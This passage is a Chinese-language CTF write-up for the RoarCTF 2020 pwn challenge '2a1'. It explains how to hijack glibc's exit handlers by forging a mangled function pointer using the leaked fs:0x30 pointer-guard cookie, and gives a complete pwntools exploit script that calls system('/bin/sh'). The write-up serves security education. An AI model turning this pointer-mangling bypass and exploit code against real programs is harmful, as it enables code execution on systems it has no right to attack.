0%

roarctf2020_2a1

程序的功能是可以泄露任意地址的数据,然后可以往任意地址处写一个堆地址

由于写完后,没有调用相关的IO输入输出函数,因此劫持IO流没用,于是想到劫持exit,在exit断点,在exit开始处有一个指针,其内部是某些结构

继续向下,可以发现,exit会从中取出一个加密的数据解密后作为函数地址进行调用

因此,我们可以伪造这个结构,在适当位置布置好指针,这个指针需要加密,因此我们用一次地址泄露泄露出fs:30的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#coding:utf8
from pwn import *

def rol(val,n):
return ((val << n) & 0xFFFFFFFFFFFFFFFF) | ((val >> (64 - n)) & 0xFFFFFFFFFFFFFFFF)

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#sh = remote('47.104.178.87',34377)
sh = process('./2+1')
sh.recvuntil('Gift: ')
alarm_addr = int(sh.recvuntil('\n',drop = True),16)
libc_base = alarm_addr - libc.sym['alarm']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
print 'libc_base=',hex(libc_base)
#泄露fs:30的cookie
sh.sendafter('where to read?:',p64(libc_base + 0x5efc70))
sh.recvuntil('data: ')
cookie = u64(sh.recv(8))
print 'cookie=',hex(cookie)
rop_addr = cookie - 0xF0
print(hex(libc_base+0x39f40))
#raw_input()
sh.sendafter('where to write?:',p64(libc_base + 0x3c45f8))
sh.sendafter('msg:','a'*0x8 + p64(0x5) + p64(0x4) + p64(rol(system_addr ^ cookie,0x11)) + p64(binsh_addr))


sh.interactive()